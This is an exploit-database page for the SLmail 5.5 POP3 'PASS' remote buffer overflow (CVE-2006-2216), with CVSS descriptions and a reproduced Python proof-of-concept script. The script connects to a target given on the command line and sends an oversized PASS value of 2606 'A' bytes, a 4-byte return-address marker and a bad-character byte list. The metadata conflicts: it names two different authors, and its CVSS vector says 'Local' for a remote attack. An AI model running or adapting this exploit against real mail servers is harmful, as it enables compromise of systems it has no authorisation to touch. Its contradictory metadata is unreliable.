Exploitalert - Database of Exploits

Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow

CVE	Category	Price	Severity
CVE-2006-2216	CWE-119	N/A	High

Author	Risk	Exploitation Type	Date
Daniele Linguaglossa	High	Remote	2021-04-02

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H	0.039	0.60109

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	None	AT	The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021040014

Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow

# Exploit Title: Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow # Date: 02/04/2021 # Exploit Author: Tobias Marcotto # Tested on: Windows7 x64 # Version: 5.5 # Description: There exists an unauthenticated buffer overflow vulnerability in the POP3 server of Seattle Lab Mail 5.5 when sending a password with excessive length. Successful exploitation should not crash either the service or the server; however, after initial use the port cannot be reused for successive exploitation until the service has been restarted. ********************************************************************************************************* #!/usr/bin/python import time, struct, sys import socket as so baddies=( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) buffer = "A" * 2606 + "B" * 4 + baddies try: server = str(sys.argv[1]) port = int(sys.argv[2]) except IndexError: print "[+] Usage example: python %s ip" % sys.argv[0] sys.exit() s = so.socket(so.AF_INET, so.SOCK_STREAM) print "\n[+] Attempting to send buffer overflow to SLmail...." try: s.connect((server,port)) s.recv(1024) s.send('USER jesse' +'\r\n') s.recv(1024) s.send('PASS ' + buffer + '\r\n') print "\n[+] Completed." except: print "[+] Unable to connect to SLmail. Check your IP address and port" sys.exit()

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